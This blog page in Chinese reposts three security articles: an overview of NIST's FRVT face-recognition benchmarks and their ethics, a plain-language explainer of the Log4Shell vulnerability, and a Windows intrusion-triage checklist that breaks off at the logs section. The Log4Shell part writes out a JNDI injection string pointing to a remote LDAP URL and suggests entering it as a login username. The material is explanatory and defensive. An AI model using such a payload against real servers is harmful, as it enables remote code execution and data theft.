分類
Information Security

人臉辨識 — NIST & FRVT

「臉部辨識技術基準測試」由美國國家標準暨技術研究院所設立,該計畫獲美國聯邦調查局及國防部等國安部門贊助及協辦,為全球規模最大且最具權威的臉部辨識演算法評比,結果亦受全球高度矚目及信賴,吸引美、日、中、俄、歐等全球臉部辨識頂尖團隊投入此測試。

研究一下什麼是『臉部辨識技術基準測試』

美國國家標準暨技術研究院,簡稱NIST(National Institute of Standards and Technology),其隸屬於美國商務部,前身為國家標準局,從事一些應用基礎研究及測量技術和測試方法等,提供標準參考數據及有關服務。國家標準技術研究所美国 国家标准技术研究所( National Institute of Standards and Technology,简写为 NIST)的前身为 国家标准局(NBS,1901年~1988年),是一家测量标准 实验室,属于 美国商务部…zh.wikipedia.org

執行人臉識別測試的單位階層如下

Information Technology Laboratory
>>Information Access Division
>>>>Image Group

Information Technology Laboratory,縮稱ITL,是NIST七個研究實驗室之一,涵蓋計算機科學,數學,統計學和系統工程等領域。根據網路的文章,ITL實驗室有將近500名研究人員,年預算額近1.5億美元。

ITL底下再細分為七個研究部門

  1. 計算機安全部(Computer Security Divsion, CSD)
  2. 先進網絡技術部(Advanced Network Technologies Division)
  3. 應用和計算數學部( Applied and Computational Mathematics Division)
  4. 應用資安部(Applied Cyber​​security Division)
  5. 資訊擷取部( Information Access Division)
    底下再分為 圖像組(Image Group)、多模式信息組(Multimodal Information Group)、檢索組(Retrieval Group)、可視化和可用性組(Visualization and Usability Group)
  6. 軟體與系統部( Software and Systems Division)
  7. 統計工程部(Statistical Engineering Division)

Image Group內的工作主要是針對生物資訊的識別技術做研究,使這些技術所蒐集的數據在各機構之間共享,並且提升整體之生物識別技術準確程度。

包含指紋、虹膜、臉部、紋身等,並各自在再細分為若干個project,而FRVT便是臉部項目之下的一項研究計畫。

Face Recognition Vendor Test (FRVT),其主要目的是測試人臉識別算法水準,由於是相對獨立的第三方測試,受商業因素影響較小,因此相對比較公平公正,是目前全球最具權威臉部辨識演算法評比之一。Face Recognition Vendor Test (FRVT) OngoingFRVT is an ongoing activity, and all evaluations run continuously with no submission deadlines. For the FRVT 1:1, 1:N…www.nist.gov

可以看出在目前FRVT底下還有四個測驗集正在執行,分別為 1:1、1:N、MORPH 及 Quality,如下圖,可以從上方連結進入之後,再找到各別測驗集可以看到更詳細的說明、及最新的報告。

先來看一下主項目的說明

FRVT Summary

FRVT is an ongoing activity, and all evaluations run continuously with no submission deadlines. For the FRVT 1:1, 1:N, and Quality tracks, participants may send ONE submission as often as every four calendar months from the last submission for evaluation. For FRVT MORPH, the number and schedule of submissions is currently not limited, so participants can send submissions at any time. Algorithm submissions will be processed on a first-come first-serve basis for inclusion in subsequent reports.

這邊講的是FRVT的接受測試方式,最一開始,FRVT測評在之前一共舉辦過五次(FRVT 2000, FRVT 2002,FRVT 2006, FRVT 2010, FRVT 2013)。

而從2017 年2 月份開始,NIST 開始組織新的人臉識別測評,不同於以往的測評,這次測評沒有截止日期,參加測評者可以根據自身進度提交算法,每隔一段時間出一次報告。

FRVT 1:1的頁面並沒有完整的說明怎樣叫1:1測試,主要也是因為概念很簡單,就是把一張照片裡有一個人頭,去對比另一張也有一個人頭的照片,看看這兩個人是不是同一個人。

主要用來比賽的精準度,真正的算法有點數學,有些難理解。但概念上,有在我們上一篇提過。人臉辨識 — 基本流程/測試標準因工作關係投入研究人臉辨識 此篇主要為網路資料整理 若有問題或指教歡迎留言或來信medium.com

誤識率(FAR)=(本應FALSE的判錯 / 所有FALSE )

拒識率(FRR)=(本應TRUE的判錯 / 所有TRUE )

再白話一點 FAR 就是兩個不同的人不小心判成同一個人。FRR就是兩個同一個人不小心判成不同人。

然後在FRVT裡,主要會用FMR及FNMR作為名詞

FAR, False Acceptance Rate = FMR, False Match Rate
FRR, False Rejection Rate = FNMR, False Non-Match Rate

FNMR和FMR代價往往不太一樣,誤識會是一個很嚴重的事故(可以假裝別人,取款、辦帳戶),相比之下,拒識結果相對可以接受(只是辨不出來,造成不便)。

所以如果只統計識別率,並不能完整的解釋臉辨系統的性能。通常的作法是,調節算法閾值,得到不同FNMR和FMR,然後畫出拒識和誤識相關曲線(即ROC曲線),NIST就是應用ROC來計算及比較算法的性能

至於ROC怎麼算,就交給工程師吧,一般產品應用單位只要分的出來FNMR跟FMR就很好了ROC和CMC曲线的理解(FAR, FRR的理解)ROC曲线 ROC曲线 意为受试者工作特征曲线 (receiver operating characteristic curve,简称ROC曲线)。曲线上没一个点反映着对同一信号刺激的感受性。 横轴:负正类率(false postive…zhuanlan.zhihu.com

下一步,就是測驗用的資料集

FRVT資料集是完全不公開的,沒錯,完全不公開,不管是測試、或實際用來做測驗的都沒有,只有簡略的幾段話描述。
如下圖舉Visa照的例子。

從文字中可以想像一下,你所使用的測試集大概會有哪些照片、解析度的範圍、人種、國家、年齡等等

FRVT測試不限定資料集,也會包含歐美人種,想收集覆蓋這麼多國家的人臉數據已經是非常困難了,其次,就算收集到一些數據,跟FRVT所要求的多種場景也會有差別

最新的版本主要分為五種類型的資料集

  • 簽證照片(Visa)。簽證照片是非常清晰、正面、無遮擋的一種受控測試場景,成像質量很高,且覆蓋了多達上百個國家的人臉數據。
  • 嫌疑人照片(Mugshot)。嫌疑人照片也是比較高清的,跟簽證照片相比,嫌疑人兩張照片間的年齡跨度一般會更大,有很多都超過了十年的年齡間隔。
  • 自然場景照片(Wild)。自然場景的照片是在非限制場景下採集的,各種光照,角度,遮擋,模糊,低分辨率的情況都可能會出現。
  • 兒童照片( Child exploitation)。兒童照片也是在非限制場景下採集的,因為年齡分佈跟大家的訓練集可能差別比較大,所以也是非常難的一個任務。
  • 網路攝影機(Webcam)。使用一般網路攝影機所拍攝的照片,容易有過曝、或光線不足的情況,不過由於架設角度固定,所以照片對人臉的角度,會比Wild來的受控。

然後可以看到這個測試,其實更新資料集的頻率滿高的,可以看到2019年2月的時候更換了mugshot database、2019年7月再新增Visa-Border資料集。

資料集的更新、新增、汰換不適用,會讓整體的測驗更有挑戰性,也展示NIST對於此驗證的嚴謹與重視,畢竟資料集的搜集十分耗費成本,同時也需要許多特殊管道(譬如犯罪資料庫、人權組織…等等)。

下一步,就是測試方法

在FRVT的測試中,NIST要求每個廠商或者研究機構都要提供完整的算法代碼,並且由NIST在同一個平台上來運行所有提交,得到最終各個測試集上的結果。

對於算法的運行時間也有著很嚴格的限制,所有提交都只能使用不超過CPU單線程1秒的計算資源來處理一張圖片從人臉檢測、人臉對齊到人臉特徵提取和識別的所有功能。

另外順帶一提的是CPU這件事情,原先的FRVT的測試中,是允許GPU的使用,直到2019年2月之後,NIST不再開放GPU使用,只能做CPU使用。我不太確定這個的主要原因是什麼,雖然可以讓測試環境更加單純,可以更佳的評比出演算法本身的優勢,不過GPU作為新一代AI應用的重要武器,使得FRVT本身會排除掉一些以GPU為主攻的演算法。

下一步,就是測試結果

順便來看一下 11/19的結果

解讀一下這個表,最左邊第一欄就是序號、第二欄就是演算法的名稱,其實大多都可以看得出來廠商名稱,譬如第一個3divi,就是俄羅斯的臉辨公司。然後第30、31 是ctbcbank 中國信託,第34、35是cyberlink 訊連,都是台灣的公司,看得出來訊連還是略勝一籌,不過兩個都是台灣的廠商,加油!

從第三欄開始都是FNMR,也就是配對失敗率(沒把李四認出是李四)。觀察FNMR的前提是,必須要先固定FMR(誤認率,把張三誤當成李四),因為兩者會互相影響,如下圖。

FNMR is the proportion of mated comparisons below a threshold set to achieve the FMR given in the header on the fourth row

而固定的FMR都列出於第四列,NIST也很貼心的在FNMR值的旁邊放上排名值,黃底的就是表現最好的第一名(FNMR最低)。

至於沒有出現的值是怎麼回事

Missing entries for visa, mugshot and wild images generally mean the algorithm did not run to completion. For child exploitation, missing entries arise because NIST executes those runs only infrequently

除了child exploitation之外,多代表這個演算法可能有問題,或是針對該類資料集表現太差,導致無法完成。

最後,來談一下殘酷的排名

在FRVT 1:1的頁面上,可以看到有排名(下圖是2019/11/19的報告結果)

The algorithms are ordered in terms of lowest mean rank across mugshot, visa, visa border, and wild datasets, rewarding broad accuracy over a good result on one particular dataset.

這個排行將mugshot, visa, visa border, and wild等資料集的測驗結果排名平均,也就是說,你不一定要每一項都是最好的,你只要整體平均好就好。

但事實上,實際情形的臉辨環境會比較偏向mugshot跟wild,所以如果某算法在Visa數據集上表現不錯,但是其在Mugshot和Wild數據集性能一般,代表針對受控環境下人臉識別性能較好,而無約束環境下人臉識別性能相對不足,也就是說在實際開放環境應用時,此算法會比較吃虧。

不過如何,整體排名還是可以代表一些意義。前三名分別為,visionlabs(俄羅斯)、deepglint(中國)、Ever AI(美國)。

再來是1:N,因為看過1:1,1:N的一些術語就比較容易理解。

The evaluation used four datasets — frontal mugshots, profile views, webcam photos and wild images — and the report lists accuracy results alongside developer names

mugshot、profile、webcam、wild是主要的四個資料集

The primary dataset is comprised of 26.6 million reasonably wellcontrolled live portrait photos of 12.3 million individuals.

資料集的數量大概有2.6千萬張照片、1.2千萬個人

From Fall 2019 this report will be updated continuously as new algorithms are submitted to FRVT, and run on new datasets. Participation in the one-to-many identification track requires a devloper to first demonstrate high accuracy in the one-to-one verification track of FRVT.

從2019年秋季開始,也跟1:1一樣變成提交測驗沒有截止日期,參加測評者可以根據自身進度提交算法,每隔一段時間出一次報告。

不過特別的是,要做1:N,就得先證明你的1:1實力。
下列兩個條件,必須符合其一,才可以提交1:N測驗。

  • VisaMC dataset: FNMR of 0.025 or less at FMR=0.0001
  • Mugshot dataset: FNMR of 0.025 or less at FMR=0.00001

接著來看1:N的測驗指標

在1:1的部分,我們會拿兩個人頭照片來比,由系統先判定True or False,再來看答案確認這兩個是不是應該屬於同一個人,所以其實就是對或錯。

但是在1:N時,會有幾個情境,譬如健身房的會員資料庫,當一個會員走進來的時候,演算法必須從庫裡面,找到屬於這個會員的資料,或是辨識出他不屬於此庫內的任何一人。另外一個情境,就是犯罪照片裡面有很多人,要從其中辨識出哪一個是我要找的罪犯。

就像上圖的流程這般,會找出這個1:N的辨識效能

  • 錯誤拒絕辨識率(FNIR),註冊使用者被錯誤辯識為其他註冊使用者比例
    False Negative Identification Error Rate
  • 錯誤接受辯識率(FPIR),非註冊使用者被辨識為某個註冊使用者比例
    False Positive Identification Error Rate

由於此兩個辨識率是互相關聯的,所以演算法的優劣,是將FPIR固定在一定閾值時,由FNIR的高低來判斷的。

在四個資料集內,有幾百萬張圖,這些圖內有些是同一個人,並且根據其拍攝日期接近做排序,使得測驗上還可以分為三種類型

第一種,我只挑時間上最相近(Most Recent)的,所以同一個人的只會有一張,我只是辨識出是哪一個就好。

第二種,同一個人會好幾張照片(Lifetime Consolidated),有時候資訊更多是件好事,但有時候不是,反而會干擾特徵值,對於演算法來說是一個挑戰。

第三種,所有的照片都混在一起,你不知道哪些是同一個人,這更難。

下一步,看結果,由於算法更複雜、資料集分類方式也多,所以測驗結果的總表會有很多張,我們挑某一張來看看就好。

FNIR at FPIR = 0.001 for five enrollment population sizes, N

表格裡的數字,主要就是FNIR,並指定FPIR為0.001。藍色小數字是排序,誤辨率約低越好,可以看到有水準的演算法,誤辨率都小於0.1%,代表整體的正確率達到98%以上。

2019/9/11發布的最新1:N報告中,其實好的名次都集中在三間廠商身上,包含微軟(美國)、優圖(中國)跟NEC(日本)。此外,商湯、Visionlabs、Ever AI、IDEMIA,也都是表現相當不錯的廠商。

結論

  1. FRVT並不代表動態影像的識別效能

無論是1:1或1:N,基本上都以靜態的影像做測驗,當然1:N會比較偏向真實情境的人臉辨識設置,因為攝影機內可能一次抓到多個人頭,再去找到、並識別出是否為會員、是否為員工等目標。Face in Video Evaluation (FIVE)The Face in Video Evaluation (FIVE) is being conducted to assess the capability of face recognition algorithms to…www.nist.gov

NIST也有做過Face in Video的測驗,不過沒有持續更新,最新的報告停留在2017年。且當時這個FIVE測驗也不屬於FRVT,當然後續可能會加入FRVT的一個新系列,或是與1:1、1:N測驗合併。

所以目前較新的FRVT(還有持續在更新、接受測驗),包含1:1及1:N,都沒有根據動態影像來做判別,動態影像的關鍵在於每秒多個frame的識別,每張frame雖然都可以被視為一張靜態影像,不過由於frame之間的時間很短,所以演算法除了識別之外,還要針對每張frame進行追蹤,提供識別的效果更好(因為人行進中會有多個角度出現),使得演算法對於角度的識別、跨frame的資訊溝通、系統資源的運用,都必須要更精準、更有效率。

2. 資料庫會影響到地區適用性

NIST是美國的官方機構,所以外界多推測其資料庫在歐美人士臉孔的比例會比較高,這其實也對於以東方臉孔作為主要訓練集的廠商,可能會比較吃虧。不過殘酷的是,其實許多大廠比較有資源,可以找到更多的臉孔訓練集來訓練,這些都是需要投注大量成本。也可以從這個端倪看到,中國AI的市場熱錢很多,讓很多公司都投注資源在參加這些訓練,來展示實力。

3. 測驗環境與真實環境的差異

NIST不再開放GPU使用,只能做CPU使用,而且CPU只用單線程。這樣做可以讓測試環境更加單純,可以更佳的評比出演算法本身的優勢。另外,辨識速度也不是FRVT的重要項目,只要在一定時間內識別出即可,代表FRVT強調的是精準度。

測試中最好與最差的演算法差距在1%左右,而真實環境中,這1%相對顯得不是這麼重要,而是系統的敏捷、穩定性,希望在動態辨識的環境中,可以維持迅速的辨識速度,及系統長期使用的穩定性,才是重要的目標。而GPU是AI應用的重要武器,再加上現在的CPU多線程運算能力越來越強大,所以有些大量識別資料庫的需求,及識別時間上的縮短要求,都可以靠這些技術能力來克服。

不過有一點可以多注意,就是NVRT的資料集條件的多元性,以1:1為例,除了一班的VISA照,還有mugshot、wild等多樣的照片條件,而越極端的資料集,例如wild,更可以比較出演算法在嚴苛條件下,是否還能精準抓取人臉特徵值,無論是以何種方式來矯正,都更能代表真實環境下,常常會出現各式不同角度、明亮程度,這些演算法的適應性。

所以看懂這些報告之後,再看看本篇文章最上方的廠商新聞稿,就瞭解似乎有點誇大。不過作為台灣本土的演算法,在市場環境不明朗之下,要投入資源來參加世界級的比賽本身就很困難,所以整體的表現仍十分值得肯定。

另外,也再分享一個新聞Facial Recognition: The Ugly TruthThe UK is one of the most surveilled countries in the world, with closed-circuit televisions (CCTV) cameras everywhere…www.eetimes.com

eetimes記者Sally Ward-Foxton今年6月的報導指出人臉辨識的『ugly truth』。

英國警察在購物中心、運動場和街道等公共場所進行real-time人臉辨識技術的試驗。根據NEC的說法,其演算法可以容忍質量低下的圖像,例如壓縮的監視視頻,人臉兩眼之間距離只需24像素以上即可作於識別。

不過很可惜的,在某幾次測驗中,有96%被識別出是嫌疑犯的民眾,都是無辜被誤認的。這個代表幾種意義,第一種,嫌疑犯本身的圖像質量太差,第二種,系統的閥值太低,第三種,攝影機所獲取的影像質量太差,第四種,演算法本身不夠好(不過NEC已經是全球名列前茅的技術之一)。

接著,報導也指出人臉辨識大量部署之『道德性』、『合法性』

有許多研究都指出,人臉辨識在有色人種的辨識準確率較低,甚至也有指出女性的辨識準確率也不如男性高。所以技術發展本身可能就造成歧視。

接著,英國法律規定了警察收集指紋和DNA的條件,以及在採集數據後會發生什麼情況,但目前不涵蓋人臉識別圖像和數據。後續只能靠GDPR來做為輔助,不過角色不太一樣,GDPR指的是個人隱私資料,而非專注於生物識別資料的法律。

所以未經人們的同意,並且在他們不知情的情況下,透過街道上的攝影機獲取數據,不分青紅皂白地蒐集人臉圖像,還能定位人員並跟踪他們的動作。這件事本身,將會慢慢醞釀成大型的社會議題。

In the same way that we’ve seen the science of genetically modified foods get set back 10 years because the public in Europe wouldn’t support it, we need to find a path which gets social license to operate.

人臉辨識技術需要找到一條獲得社會許可的途徑,這個是Ada Lovelace Institute副主席Shah所發表的言論,他說目前最好的方式是先暫停這類技術的部署,直到完成整體評估、以及與社會各團體的討論。

資料來源:https://weilihmen.medium.com/%E4%BA%BA%E8%87%89%E8%BE%A8%E8%AD%98-nist-frvt-6d2f063fb159

分類
Information Security

從監視攝影機理解 Log4j 跟 Log4Shell 漏洞

2021 年末資安界最大的新聞莫過於 Log4j 的漏洞,編號為 CVE-2021-44228,又被稱為 Log4Shell,甚至被一些人形容為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。

關於技術上的分析已經有很多篇文章在講解了,但對於不懂技術的人來說,可能只知道這個漏洞很嚴重,卻不知道為什麼嚴重,也不知道原理到底是什麼,因此我想從讓非技術背景的人也能理解的角度出發,寫一篇比較白話的文章。

從監視攝影機談起

我有個朋友叫小明,他家是開雜貨店的。就跟其他商店一樣,在店裡有一支監視攝影機,怕有什麼消費糾紛或是有人來搶劫或偷東西,因此讓攝影機 24 小時全程錄影,真的發生什麼事了,就會有證據留存下來。

但攝影機的鏡頭角度有限,不可能把整間店面的影像都拍下來,就算真的都拍下來了,要存的資料也會太多(除非小明很有錢,買了一堆攝影機)。因此,攝影機只會對準一些非常重要、值得記錄下來的地方,像是收銀台等等。

原本這支攝影機用了十幾年都沒什麼事情,畢竟不就是把影像記錄起來嗎,能有什麼事情?但最近卻突然有人發現一個攝影機的隱藏功能(嚴格來講不是隱藏功能,因為攝影機的說明書上其實有提到,可是大家都懶得看那一百多頁的說明書,所以很少人知道這個功能)

這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。舉例來說好了,這個圖片辨識功能需要把指令寫在 100×100 的板子上,一定要黑底白字加上特定格式,像這個樣子:

當攝影機看到上面的圖,符合特定格式,就執行了上面的指令:「關機」,就真的關機了!但關機還沒什麼,指令還可以寫說「把攝影機資料全都給我」之類的,再者,攝影機本來就會即時連線到其他伺服器,這個指令也可以對那些伺服器做操作,例如說把上面的資料全都偷下來等等。

總之呢,一旦讓攝影機拍到指定格式的東西,就會幫你執行指令。

這個功能被爆出來以後,血流成河,因為太多地方都有監視攝影機了,因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號,只有一台叫做 log4j 的攝影機會出事,其他不會,但要注意的事情是有些攝影機它雖然不叫做這名字,可其實是從 log4j 作為基底改出來的,就一樣會出事。

而有些東西儘管不是攝影機也會出事,例如說有台智慧冰箱,號稱內部有微型攝影機可以即時監控冰箱內部狀況,恰巧這個微型攝影機就是 log4j 這個型號的攝影機改版出來的,所以也有同樣的問題。

你想想看,如果監視攝影機出了這個問題,那全台灣、全世界這麼多人用這個型號的監視攝影機,當然會引起軒然大波,只要讓攝影機拍到特定的東西就會執行指令,這可嚴重了。

以上是對於 log4j 漏洞的簡單比喻,在這個故事中雜貨店就像是你的網站,而攝影機的功能就是拿來紀錄(log)對於網站的那些請求(request),整個故事只要記兩個重點就好:

  1. log4j 是拿來記錄東西用的
  2. 漏洞原理是只要紀錄某些特定格式的文字,就會觸發一個功能可以執行程式碼

白話的簡易比喻到這邊先結束,想要更了解 log4j,我們就必須先來看看什麼是 log。

有關於 log 這件事

log 的中文翻譯叫做日誌,我相信許多人對這個名詞並不陌生,如果你有跟工程師合作過,他在解決問題時可能會說:「我去看一下 log」;或是如果你們跟合作廠商各執一詞,他說 A 你們說 B,這時候就會說:「不然看一下 log 吧,看看是誰的問題」

當你跟公司的 IT 合作解決電腦上的小問題時,他也會跟你說要去某個地方複製 log 給他,他才知道發生了什麼事情。

log 就像是一台 24 小時全年無休的監視攝影機一樣,需要紀錄起重要事物的狀況。

那為什麼需要有 log 呢?這問題就像是「為什麼要有監視攝影機?」一樣,答案很簡單,因為出事的時候才有證據。就像行車記錄器一樣,裝了以後若不幸發生車禍,就可以協助判斷肇責。

舉個例子,假設我是 A 公司,我們公司是做購物網站的,而通常金流這一塊並不會自己做,而是會找其他做金流的廠商合作,在後端去「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,我把使用者導過去金流廠商的頁面,付款完再導回來我們網站」,相信有在網路上購物的大家應該很熟悉這個流程。

在這個過程中,雙方都必須留下紀錄,確保未來發生問題時有證據可以輔助說明。

例如說有天 A 公司突然接到一堆客訴說沒辦法付款,這時 A 公司直接打電話去金流商,罵說你們這什麼爛服務,怎麼突然壞掉,而金流商此時提供了伺服器的 log,說:「沒有啊,我們這邊從今天早上八點開始就沒有你們導過來的紀錄了,應該是你們的問題吧?」,後來 A 公司檢查了自己這邊的服務,確實是因為今天早上的版本更新出了問題而導致,跟金流商一點關係都沒有。

這就是 log 的重要性,當出事的時候你才有證據可以盤查,才能盡可能還原當初的狀況。

做開發者的大家都知道 log 很重要,所以 log 基本上是必備的,以網站後端來說,他可能會在交易發生錯誤時留下一筆 log,也有可能在發生非預期錯誤時寫下 log,或是用 log 紀錄 request 中的一些欄位,比如說瀏覽器版本好了,給自己公司內部的數據分析系統來使用。

因此 log 是個十分常見的功能。這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。

log4j 是什麼?

在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說 Python、JavaScript、PHP 或是 Java 等等,而這些程式語言都會有些專門做 log 的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。

而 Java 有一個很好用的 log 套件,就叫做 log4j。而這個套件是隸屬於 Apache 軟體基金會底下,因此全名又叫做 Apache Log4j。

Apache 底下有很多不同的軟體跟套件,例如說:

  • Apache HTTP Server(大家最常看到的是這個)
  • Apache Cassandra
  • Apache Tomcat
  • Apache Hadoop
  • Apache Struts

所以 Apache Server 跟 Apache log4j 完全是不同的兩個東西,我知道你用 Apache Server,跟你有沒有用 log4j 是兩件事情。

這次出問題的套件就是 log4j,而出問題的原因跟我開頭講的一樣,有一個鮮為人知的功能有著安全性的漏洞,只要 log4j 在記錄 log 時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像開頭提的那個「關機」的板板一樣。

再講更詳細一點,其實並不是直接執行程式碼,那一段特定格式長得像這樣:

${jndi:ldap://cymetrics.io/test}

先不要管那些你看不懂的字,你可以很明顯看到裡面有一段東西很像網址,對,它就是網址,當 log4j 紀錄上面那一串字的時候,它發現這串字符合特定格式,就會去裡面的網址(cymetrics.io/test)下載程式碼然後執行,因此這是一個 RCE(Remote Code Execution,遠端程式碼執行)漏洞。

前面我有提過後端會記錄許多東西,假設今天有個後端服務是用 Java 寫的,而它用 log4j 記錄了使用者登入失敗時輸入的帳號,這時我只要用 ${jndi:ldap://cymetrics.io/test} 這個帳號登入,就能夠觸發 log4j 的漏洞,讓它執行我準備好的程式碼。

只要能執行程式碼,我就可以做很多事情,例如說把伺服器上的資料偷走,或是安裝挖礦軟體幫我挖礦等等。

為什麼這個漏洞如此嚴重?

第一,log4j 這個套件使用的人數極多,只要你有用 Java,幾乎都會用這個套件來紀錄 log

第二,觸發方式容易,你只要在 request 的各個地方塞滿這些有問題的字串,server 只要有記錄下來其中一個,就能夠觸發漏洞,而前面我們有提到紀錄 log 本來就是家常便飯的事情

第三,能造成的影響極大,漏洞被觸發之後就是最嚴重的 RCE,可以直接執行任意程式碼

結合以上這三點,讓它成了一個核彈級的漏洞。到底有多嚴重,看看這些新聞標題就知道:

  1. Apache Log4j 漏洞影響巨大,美國資安主管機關通令政府單位立即修復
  2. 微軟、蘋果都受波及!日誌框架Apache Log4j爆漏洞,堪稱近10年最大資安威脅
  3. 【Log4Shell漏洞資訊更新】Log4j 2.15.0修補不全、Apache再釋2.16.0新版,國家駭客已開始行動

還有一點差點忘了提,有許多其他的軟體也都用了 log4j 這個套件,因此也會有問題,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) – cheat-sheet reference guide,洋洋灑灑一大片,像是 Minecraft 這個遊戲的伺服器也有用到 log4j,所以也被這個漏洞給影響。

該怎麼知道我有沒有被這個漏洞影響?

可以先確認自己家的程式有沒有用到 log4j 這個套件以及套件的版本,也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。

如果你是工程師,也可以用一些現有的工具檢測是否受到漏洞影響,像是:log4j-scan 或是 jfrog 提供的 log4j-tools 等等。

或如果真的不知道該如何處理,也可以聯絡我們,看我們可以怎樣幫助你。

該如何修補?

由瑞士 CERT 發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j 中,有給了一張從各個環節去防禦的圖:

如果來不及把根本原因修掉,可以先上 WAF(Web Application Firewall),簡單來說就是針對網站的防火牆,把那些惡意的字串擋掉,例如說 Cloudflare 就在第一時間增加了 WAF 的規則加以阻擋,不過也有很多人在研究怎麼繞過 WAF 的規則,因此這是治標不治本的做法。

治本的方法就是把 log4j 停用或是升版,升級到不會被這個漏洞影響的版本,但有些時候第一時間的改版可能沒有把漏洞完全補掉,因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久,官方就釋出了第三個 patch 修復其他相關問題:Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability

結語

一個很多人用的套件,加上一個很常見的功能,再加上一個很簡單的攻擊方式以及嚴重的後果,就成了一個可以被載入史冊的漏洞。

文中有些比喻為了不要講得太細節,會是精簡過後的版本,不一定能完全涵蓋本來的漏洞,在轉換成故事比喻的過程中一定會有一些遺漏的部分,但對於整體的理解我覺得影響不大。

如果你想了解更技術的細節以及時間軸,很推薦這一支影片:Hackers vs. Developers // CVE-2021-44228 Log4Shell,裡面講得很清楚,也探討了開發者與資安從業人員的關係。

最後,希望這篇文章能讓不懂技術的大家更了解 log4shell 是怎樣的漏洞,以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正,感謝。

資料來源:https://tech-blog.cymetrics.io/posts/huli/what-is-log4j-and-log4shell/

分類
Information Security

Windows/Linux入侵手工排查

本文內容來自於公眾號“FreeBuf”、“Bypass”和其他一些分散內容,著重對幾家內容進行了整合,對這個主題做一個按圖索驥的備查,以防到現場時腦中一片空白。總結得很全面,應該能應付現場的場景了。

一、Windows排查

01、檢查系統賬號

(1)檢查遠程管理端口是否對公網開放,服務器是否存在弱口令。

  • 檢查方法:檢查防火牆映射規則,獲取服務器賬號登錄,也可據實際情況諮詢相關管理員。

(2)查看服務器是否存在可疑賬號、新增賬號。

  • 檢查方法:打開cmd 窗口,輸入lusrmgr.msc命令,查看是否有新增/可疑的賬號,如有管理員群組的(Administrators)裡的新增賬戶,根據實際應用情況,保留或刪除。

(3)查看服務器是否存在隱藏賬號、克隆賬號。

  • 檢查隱藏賬號方法:CMD命令行使用”net user”,看不到”test$”這個賬號,但在控制面板和本地用戶和組是可以顯示此用戶的。
  • 檢查克隆賬號方法:打開註冊表,查看管理員對應鍵值。
  • 使用D盾_web查殺工具,集成了對克隆賬號檢測的功能。
圖片

(4)結合Windows安全日誌,查看管理員登錄時間、用戶名是否存在異常。

  • 檢查方法:Win+R打開運行,輸入“eventvwr.msc”,回車運行,打開“事件查看器”。或者我們可以導出Windows日誌—安全,利用Log Parser進行分析。

02、檢查異常端口

(1)檢查端口連接情況

  • 檢查方法:a、netstat -ano 查看目前的網絡連接,定位可疑的ESTABLISHEDb、根據netstat 定位出的pid,再通過tasklist命令進行進程定位tasklist | findstr “PID”
图片
  • 檢查方法檢查是否存在可疑的網絡連接,如發現異常,可使用Wireshark網絡抓包輔助分析。

03、檢查異常進程

(1)檢查是否存在可疑的進程

  • 檢查方法:a、開始—運行—輸入msinfo32,依次點擊“軟件環境→正在運行任務”就可以查看到進程的詳細信息,比如進程路徑、進程ID、文件創建日期、啟動時間等。b、打開D盾_web查殺工具,進程查看,關注沒有簽名信息的進程。c、通過微軟官方提供的Process Explorer 等工具進行排查。d、查看可疑的進程及其子進程。可以通過觀察以下內容:
    没有签名验证信息的进程没有描述信息的进程进程的属主进程的路径是否合法      CPU或内存资源占用长时间过高的进程

(2)如何找到進程對應的程序位置

        任務管理器—選擇對應進程—右鍵打開文件位置

        運行輸入wmic,cmd界面輸入process

04、檢查啟動項

(1)檢查服務器是否有異常的啟動項。

  • 檢查方法:a、登錄服務器,單擊【開始】>【所有程序】>【啟動】,默認情況下此目錄在是一個空目錄,確認是否有非業務程序在該目錄下。b、單擊開始菜單>【運行】,輸入msconfig,查看是否存在命名異常的啟動項目,是則取消勾選命名異常的啟動項目,並到命令中顯示的路徑刪除文件。c、單擊【開始】>【運行】,輸入regedit,打開註冊表,查看開機啟動項是否正常,特別注意如下三個註冊表項:
    HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce檢查右側是否有啟動異常的項目,如有請刪除,並建議安裝殺毒軟件進行病毒查殺,清除殘留病毒或木馬。d、利用安全軟件查看啟動項、開機時間管理等。e、組策略,運行gpedit.msc。

05、檢查計劃任務

(1)檢查計劃任務裡是否有可疑的腳本執行

  • 檢查方法:a、單擊【開始】>【設置】>【控制面板】>【任務計劃】,查看計劃任務屬性,便可以發現木馬文件的路徑。b、單擊【開始】>【運行】;輸入cmd,然後輸入at,檢查計算機與網絡上的其它計算機之間的會話或計劃任務,如有,則確認是否為正常連接。
图片

06、檢查服務

(1)檢查系統服務名稱、描述和路徑,確認是否異常

  • 檢查方法:單擊【開始】>【運行】,輸入services.msc,注意服務狀態和啟動類型,檢查是否有異常服務。
图片

07、檢查可疑文件

(1)檢查新建文件、最近訪問文件和相關下載目錄等

  • 檢查方法:a、 查看用戶目錄,新建賬號會在這個目錄生成一個用戶目錄,查看是否有新建用戶目錄。
    Window 2003 C:\Documents and SettingsWindow 2008R2 C:\Users\b、單擊【開始】>【運行】,輸入%UserProfile%\Recent,分析最近打開分析可疑文件。c、在服務器各個目錄,可根據文件夾內文件列表時間進行排序,查找可疑文件。d、回收站、瀏覽器下載目錄、瀏覽器歷史記錄e、修改時間在創建時間之前的為可疑文件

(2)發現一個WEBSHELL或遠控木馬的創建時間,如何找出同一時間範圍內創建的文件?

  • 檢查方法:a、利用Registry Workshop 註冊表編輯器的搜索功能,可以找到最後寫入時間區間的文件。b、利用計算機自帶文件搜索功能,指定修改時間進行搜索。

08、檢查系統日誌

